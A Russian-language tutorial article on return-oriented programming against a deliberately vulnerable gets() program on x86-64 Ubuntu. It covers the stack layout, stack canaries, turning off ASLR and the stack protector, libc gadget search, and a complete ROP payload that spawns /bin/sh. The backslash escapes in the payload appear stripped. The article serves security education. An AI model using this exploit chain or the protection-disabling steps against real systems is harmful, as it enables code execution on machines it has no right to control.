Return oriented programming. Собираем exploit по кусочкам

в 10:47, , рубрики: assembly, exploit, rop, volnerability, x86_64, информационная безопасность, системное программирование

Введение
В этой статье мы попробуем разобраться как работает Return Oriented эксплоит. Тема, в принципе, так себе заезженная, и в инете валяется немало публикаций, но я постараюсь писать так, чтобы эта статья не была их простой компиляцией. По ходу нам придется разбираться с некоторыми системными особенностями Linux и архитектуры x86-64 (все нижеописанные эксперименты были проведены на Ubuntu 14.04). Основной целью будет эксплуатирование тривиальной уязвимости gets с помощью ROP (Return oriented programming).

Уязвимость
На самом деле понятно, что поиск уязвимостей — отдельная проблема. Неплохо было бы начать с того, чтобы придумать какую-нибудь простую уязвимость. Вот например функция gets(), входящая в стандартную библиотеку С, является одной большой уязвимостью, ей и воспользуемся.

#include <stdio.h>
#include <string.h>
int func()
{
	int val = 0;
	char buf[10];
	gets(buf);
	printf("%sn", buf);
	val = strlen(buf);
	return val;
}

int main(int argc, char **argv) {
	return func();
}

Данный код считывает из stdin всё, что видит, пока не наткнется на символ конца строки или файла. Вообще говоря, применение этой функции не очень приветствуется и существует она лишь для обратной совместимости. Тем не менее, сам не раз видел свежий код, в котором люди применяли эту функцию. Ну и бог с ним. Попробуем скомпилировать (о значении -fno-stack-protector поговорим позже).

gcc -o main main.c -g -Wall -fno-stack-protector

gcc ещё два раза предупредил нас об абсурдности наших действий (сообщение может отсутствовать в других сборках gcc)

main.c: In function 'func':
main.c:7:2: warning: 'gets' is deprecated (declared at /usr/include/stdio.h:638) [-Wdeprecated-declarations]
  gets(buf);
  ^
/tmp/ccBFHgPN.o: In function `func':
/home/alexhoppus/Desktop/rop_tutorial/main.c:7: warning: the `gets' function is dangerous and should not be used.

Ну ладно, давайте разбираться чего он там лепечет про dangerous и deprecated.
Smash the stack
Из кода выше видно, что есть буфер, в который считывается строка. Буфер находится на стеке. Как известно, стек — это не больше чем кусок rw памяти в адресном пространстве приложения. Давайте попробуем восстановить его layout на x86-64. Делать мы это будем с помощью утилиты objdump, а затем проверим с помощью gdb.

objdump -d main
00000000004005bd <func>:
  4005bd:	55                   	push   %rbp
  4005be:	48 89 e5             	mov    %rsp,%rbp
  4005c1:	48 83 ec 10          	sub    $0x10,%rsp
  4005c5:	c7 45 fc 00 00 00 00 	movl   $0x0,-0x4(%rbp)
  4005cc:	48 8d 45 f0          	lea    -0x10(%rbp),%rax
  4005d0:	48 89 c7             	mov    %rax,%rdi
  4005d3:	e8 e8 fe ff ff       	callq  4004c0 <gets@plt>
  4005d8:	48 8d 45 f0          	lea    -0x10(%rbp),%rax
  4005dc:	48 89 c7             	mov    %rax,%rdi
  4005df:	e8 9c fe ff ff       	callq  400480 <puts@plt>
  4005e4:	48 8d 45 f0          	lea    -0x10(%rbp),%rax
  4005e8:	48 89 c7             	mov    %rax,%rdi
  4005eb:	e8 a0 fe ff ff       	callq  400490 <strlen@plt>
  4005f0:	89 45 fc             	mov    %eax,-0x4(%rbp)
  4005f3:	8b 45 fc             	mov    -0x4(%rbp),%eax
  4005f6:	c9                   	leaveq 
  4005f7:	c3                   	retq   

00000000004005f8 <main>:
  4005f8:	55                   	push   %rbp
  4005f9:	48 89 e5             	mov    %rsp,%rbp
  4005fc:	48 83 ec 10          	sub    $0x10,%rsp
  400600:	89 7d fc             	mov    %edi,-0x4(%rbp)
  400603:	48 89 75 f0          	mov    %rsi,-0x10(%rbp)
  400607:	b8 00 00 00 00       	mov    $0x0,%eax
  40060c:	e8 ac ff ff ff       	callq  4005bd <func>
  400611:	c9                   	leaveq 
  400612:	c3                   	retq   
  400613:	66 2e 0f 1f 84 00 00 	nopw   %cs:0x0(%rax,%rax,1)
  40061a:	00 00 00 
  40061d:	0f 1f 00             	nopl   (%rax)

Начнем со строки в main, которая делает вызов func (40060c). callq можно представить в виде push адреса возврата (400611) и jump на адрес func. Таким образом, первым на стек кладется адрес возврата. Когда мы прыгнули на func мы пушим на стек %rbp — адрес начала предыдущего стек фрейма. Далее мы расширяем стек (стек растет вниз) на 16 байт и зануляем первые 4 байта после сохраненного %rbp — видимо, это наша переменная val на стеке. Функции gets передается указатель на буфер через регистр %rdi, который вычисляется следующим образом lea -0x10(%rbp),%rax. Резюмируем картинкой:
Return oriented programming. Собираем exploit по кусочкам - 1
Из картинки можно заключить, что, если записать в буфер строку, в которой больше чем 15 символов (+1 байт конец строки), то наше приложение скорее всего свалится, так как мы перезапишем %rbp — адрес начала предыдущего стек фрейма. При этом из текущей функции func мы выйдем в main нормально, но потом у нас возникнут проблемы — программа будет думать, что ее стек вовсе не там, где он есть на самом деле, а так как на стеке хранится %rip — адрес возврата, мы получим SIGSEGV от ядра Linux, когда возвратимся по неверному адресу.
Теперь посмотрим на стек с точки зрения gdb:

python -c "print 'a'*15" > input2
gdb ./main
(gdb) b func
Breakpoint 1 at 0x4005c5: file main.c, line 5.
(gdb) r < input2
(gdb) info register
...
rsp            0x7fffffffde90	0x7fffffffde90
...
(gdb) x/100x 0x7fffffffde90
0x7fffffffde90:	0x61616161	0x61616161	0x61616161	0x00616161
0x7fffffffdea0:	0xffffdec0	0x00007fff	0x00400611	0x00000000
0x7fffffffdeb0:	0xffffdfa8	0x00007fff	0x00000000	0x00000001

Сейчас мы окончательно можем быть уверены в том, что не ошиблись. Попробуйте ввести на stdin больше 15 символов и убедитесь, что приложение получит SIGSEGV. Теперь пришло время вернуться к опции -fno-stack-protector. Повторим этот трюк без нее (внимание: данная опция у меня по умолчанию включена — такая сборка gcc, у Вас может быть наоборот).

gcc -o main main.c -g -Wall
python -c "print 'a'*26" | ./main 
aaaaaaaaaaaaaaaaaaaaaaaaaa
*** stack smashing detected ***: ./main terminated
Aborted (core dumped)

Флаг -fstack-protector позволяет включить поддержку защиты от переполнения буфера со стороны gcc. Принцип её работы прост — между %rip, %rbp и доступным для записи буфером на стек помещается известное компилятору значение, после выхода из функции значение считывается со стека и сверяется с первоначальным. Если на лицо несовпадение, то мы увидим сообщение о stack smashing. Вы можете сами лицезреть механизм работы stack canaries при помощи просто дисасемблинга objdump -d

000000000040062d <func>:
...
  400635:	64 48 8b 04 25 28 00 	mov    %fs:0x28,%rax
  40063c:	00 00 
  40063e:	48 89 45 f8          	mov    %rax,-0x8(%rbp)
...
  400675:	48 8b 55 f8          	mov    -0x8(%rbp),%rdx
  400679:	64 48 33 14 25 28 00 	xor    %fs:0x28,%rdx
  400680:	00 00 
  400682:	74 05                	je     400689 <func+0x5c>
  400684:	e8 77 fe ff ff       	callq  400500 <__stack_chk_fail@plt>
  400689:	c9                   	leaveq 
  40068a:	c3                   	retq  

Чтобы упростить себе жизнь при написании ROP экслоита, приложение мы будем компилировать с флагом -fno-stack-protector. Это будет первый из двух механизмов защиты, который мы умышленно выключим, чтобы упростить себе жизнь.
Address space layout randomization
Рассказывая об ASLR, наверное, уже стоит перейти к сути дела. Как вы понимаете, злоумышленник может переполнить буфер на стеке и перезаписать адрес возврата, чтобы прыгнуть на какой — либо код. Остается вопрос — куда прыгать и откуда там взяться нужному хакеру коду? На стек код закинуть не получится, потому что стек не исполняемый. Это обеспечивается на уровне таблиц страниц, которые формируют виртуальное адресное пространство процесса, иными словами в page table entry нет флага «X» (executable). Можно прыгать на замапленные библиотеки, вернее на некоторые куски кода из этих библиотек. На этом принципе и основано return oriented programming. Чтобы нельзя было заранее угадать адрес, в который мапится библиотека, а, следовательно, и адрес конкретного кусочка кода из библиотеки, при старте приложения положение библиотеки в адресном пространстве процесса рандомизируется. Это фича ядра Linux, которая контролируется через proc.

echo 0 > /proc/sys/kernel/randomize_va_space

Для упрощения её тоже придется отключить.

Exec /bin/sh
Ну что же, приложение с уязвимостью собрано без защиты от переполнения стека, ASLR выключена. Теперь, для демонстрации уязвимости, заставим процесс — жертву вызвать /bin/sh вместо себя. Для начала необходимо представлять как код эксплоита будет выглядеть:

section .text
	global _start
_start:                
	mov rax, 0x3b             
	mov rdi, cmd             
	mov rsi, 0
	mov rdx, 0
	syscall

section .data
	cmd: db '/bin/sh'
.end:

Здесь все просто — на x86-64 код приложения выполняет системный вызов используя инструкцию syscall. При этом в %rax необходимо поместить номер системного вызова (0x3b), в регистры %rdi, %rsi, %rdx… помещаются аргументы. Если забыли как выглядит список аргументов execve можете посмотреть тут
Проверьте, что shell вызывается:

nasm -f elf64 exec1.S -o exec.o
ld -o exec exec.o 
./exec

Гаджеты
Вообще говоря, гаджет — это просто кусок кода библиотеки или приложения. Искать гаджеты для нашего будущего эксплоита мы будем в libc. Для начала давайте посмотрим в какой адрес мапится код секция libc. Для этого можно, остановить приложение на функции main при помощи gdb и выполнить:

cat /proc/`pidof main`/maps | grep libc | grep r-xp

Здесь нам важен флаг «X» в маппинге, по нему мы можем понять, что это непосредственно исполняемая секция.

7ffff7a14000-7ffff7bcf000 r-xp 00000000 08:01 466797                     /lib/x86_64-linux-gnu/libc-2.19.so

Идеологически поведение будущего эксплоита показано на следующем рисунке:
Return oriented programming. Собираем exploit по кусочкам - 2
Мы начнем с того, что положим на стек вместо адреса возврата addr1, который будет указывать на первый гаджет из кода libc. Первый гаджет выполнит pop %rax, поместив в регистр %rax приготовленное нами на стеке значение 0x3b, далее ret возьмет со стека адрес addr2 и прыгнет на него. Что касается 0x601000 — это адрес начала rw области (data секция) исполняемого файла ./main:

00400000-00401000 r-xp 00000000 08:01 527064                             /home/alexhoppus/Desktop/rop_tutorial/main
00600000-00601000 r--p 00000000 08:01 527064                             /home/alexhoppus/Desktop/rop_tutorial/main
00601000-00602000 rw-p 00001000 08:01 527064                             /home/alexhoppus/Desktop/rop_tutorial/main

Мы выберем этот адрес для того, чтобы поместить по нему строку "/bin//sh". В регистр %rdx сохраним саму строку, а в %rdi её адрес.

mov qword [rdi], rdx

помещает "/bin//sh" по адресу 0x601000. Основная работа сделана — остальной код обнуляет значение регистров %rsi и %rdx (2 и 3 аргументы execve) и выполняет syscall. Таким образом, мы в 7 return'ов execнули ничего не подозревающий main и превратили его в /bin/sh.

Как найти гаджеты
На самом деле существует множество утилит, анализирующих код библиотеки / приложения и предоставляющих вам набор готовых гаджетов с адресами. В данной статье для поиска гаджетов использовалась эта утилита. Пример вывода поисковика гаджетов:

./rp-lin-x64 -f /lib/x86_64-linux-gnu/libc-2.19.so -r 2 | grep "pop rax"
...
0x0019d345: pop rax ; out dx, al ; jmp qword [rdx] ;  (1 found)
0x000fafb9: pop rax ; pop rdi ; call rax ;  (1 found)
0x000193b8: pop rax ; ret  ;  (1 found)
0x001a09c8: pop rax ; adc al, 0xF1 ; jmp qword [rax] ;  (1 found)
...

Для получения реальных адресов гаджетов в памяти необходимо прибавить к полученным в выводе адресам смещение, равное адресу начала маппинга исполняемой секция libc (см. выше) — 0x7ffff7a14000.

И что же получается в итоге?
После того, как Вы отыщите все необходимые гаджеты, получится что-то вроде

python -c "print 'a'*24+'xb8xd3xa2xf7xffx7fx00x00'+'x3bx00x00x00x00x00x00x00'+'x21x6axa3xf7xffx7fx00x00'+'x00x10x60x00x00x00x00x00'+'x8ex5bxa1xf7xffx7fx00x00'+'x2fx62x69x6ex2fx73x68x00'+'x27x3cxa3xf7xffx7fx00x00'+'x14xa1xb4xf7xffx7fx00x00'+'x00x00x00x00x00x00x00x00'+'x8ex5bxa1xf7xffx7fx00x00'+'x00x00x00x00x00x00x00x00'+'xd5x68xadxf7xffx7fx00x00'" | ./main

Проверьте с помощью strace, что shell действительно запускается. Если все сделано верно, /bin/sh запустится и сразу же выйдет, так как на stdin уже пусто. По понятным причинам в реальных условиях связывать stdin этого шела с клавиатурой никто не будет, но мы можем позволить небольшой хак, чтобы протестировать работоспособность эксплоита:

alexhoppus@hp:~/Desktop/rop_tutorial$ cat <(python -c "print 'a'*24+'xb8xd3xa2xf7xffx7fx00x00'+'x3bx00x00x00x00x00x00x00'+'x21x6axa3xf7xffx7fx00x00'+'x00x10x60x00x00x00x00x00'+'x8ex5bxa1xf7xffx7fx00x00'+'x2fx62x69x6ex2fx73x68x00'+'x27x3cxa3xf7xffx7fx00x00'+'x14xa1xb4xf7xffx7fx00x00'+'x00x00x00x00x00x00x00x00'+'x8ex5bxa1xf7xffx7fx00x00'+'x00x00x00x00x00x00x00x00'+'xd5x68xadxf7xffx7fx00x00'") - | ./main
aaaaaaaaaaaaaaaaaaaaaaaa�Ӣ��
ls
Blank Flowchart - New Page (2).jpeg  article~  exec1.S	input	main.c	    shell
a.out				     exec      hello	input2	rop.jpeg    stack.jpeg
article

Ну вот и всё. Надеюсь что статья даст почву для ваших будущих экспериментов (не в практической плоскости, а научно-познавательной).

Автор: alexhoppus

Источник

Поделиться новостью

* - обязательные к заполнению поля